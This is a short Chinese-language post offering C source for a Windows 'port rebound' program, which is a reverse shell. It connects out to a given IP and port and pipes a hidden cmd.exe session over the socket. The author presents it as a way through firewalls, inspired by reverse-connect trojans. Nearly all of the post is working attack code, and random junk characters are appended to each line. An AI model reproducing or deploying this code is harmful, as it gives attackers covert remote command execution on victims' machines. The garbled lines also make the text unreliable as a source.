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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (?3[3 w~  
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/* ============================== 26L~X[F  
Rebound port in Windows NT J#Z5^)$  
By wind,2006/7 U>P|X=)  
===============================*/ gsPl _  
#include tHh HrMxO  
#include \:v$ZEDJ>  
+th%enRB  
#pragma comment(lib,"wsock32.lib") _w(ln9   
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void OutputShell(); +}@ 8p[`)  
SOCKET sClient; i ev>9j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bk<FL6z z  
a{'Z5ail  
void main(int argc,char **argv) y'} O)lO1  
{ 6X)@ajGWg~  
WSADATA stWsaData; 1A<,TFg  
int nRet; jb[!E^'&>  
SOCKADDR_IN stSaiClient,stSaiServer; wO.iKX;  
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if(argc != 3) X!tf#tl  
{ 55Gtp\L  
printf("Useage:\n\rRebound DestIP DestPort\n"); Zy0aJN>  
return; |Au]1}  
} hs+kr?Pg`  
yT8=l"-[G  
WSAStartup(MAKEWORD(2,2),&stWsaData); VDbI-P&c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v jT( Q  
v~|?3/{Q  
stSaiClient.sin_family = AF_INET; 9GLb"6+PK  
stSaiClient.sin_port = htons(0); n_u1&a'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %|"g/2sF[G  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P\nC?!Q%c  
{ %9v@0}5V  
printf("Bind Socket Failed!\n"); EZDy+6b  
return; Q{g;J`Z)p  
} O) atNE   
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stSaiServer.sin_family = AF_INET; a->3`c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %?Y[Bk3p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zw1U@5}A  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _+l1 b"^s1  
{ R(Kk{c:-@  
printf("Connect Error!"); rjx6Djo>  
return; bi4f]^hQz  
} Ev"|FTI/  
OutputShell(); NB_ )ZEmF  
} Nes=;%&]G  
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void OutputShell() 1BHG'y  
{ 1 rs&74-  
char szBuff[1024]; uw(NG.4  
SECURITY_ATTRIBUTES stSecurityAttributes; q$(5Vd:  
OSVERSIONINFO stOsversionInfo; 'B5^P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^~`?>}MJ  
STARTUPINFO stStartupInfo; ?<Wb@6kh`  
char *szShell; 9^FziM  
PROCESS_INFORMATION stProcessInformation; 0& >H^  
unsigned long lBytesRead; s~I6SA&i  
[u}(57DS  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F!zP<A "  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )SryDRT  
stSecurityAttributes.lpSecurityDescriptor = 0; 8to8!(  
stSecurityAttributes.bInheritHandle = TRUE; !`1'2BC  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \`V;z~@iA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jls-@Wl  
akw,P$i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8k q5ud  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; su*Pk|6%  
stStartupInfo.wShowWindow = SW_HIDE; kmzH'wktt  
stStartupInfo.hStdInput = hReadPipe; z [`@}}Q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v8AS=sY4r  
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GetVersionEx(&stOsversionInfo); 4_Dp+^JF  
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switch(stOsversionInfo.dwPlatformId) iq( )8nxi  
{ >pUtwIP  
case 1: WA dCF-S  
szShell = "command.com"; L(&&26Y  
break; =zQN[  
default: {G?N E  
szShell = "cmd.exe"; dOa%9[  
break; H":oNpfb  
} >EY3/Go>  
%^RN#_ro(3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jy-{~xdg[  
pz"0J_xDM  
send(sClient,szMsg,77,0); m2AnXY\  
while(1) e7wSOs  
{ j?'GZ d"B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t!RiUZAo  
if(lBytesRead) kc0E%odF.v  
{ y5!KXAQ%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); / m=HG^!  
send(sClient,szBuff,lBytesRead,0); Hh+ 2mkg  
} XI^QF;,  
else X&kp;W  
{ Jv^h\~*jH  
lBytesRead=recv(sClient,szBuff,1024,0); 41&\mx  
if(lBytesRead<=0) break; d3xmtG {i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -B +4+&{T  
} yqPdl1{Qr=  
} e%b6(%  
$< JaLS  
return; ov, hI>0!D  
}
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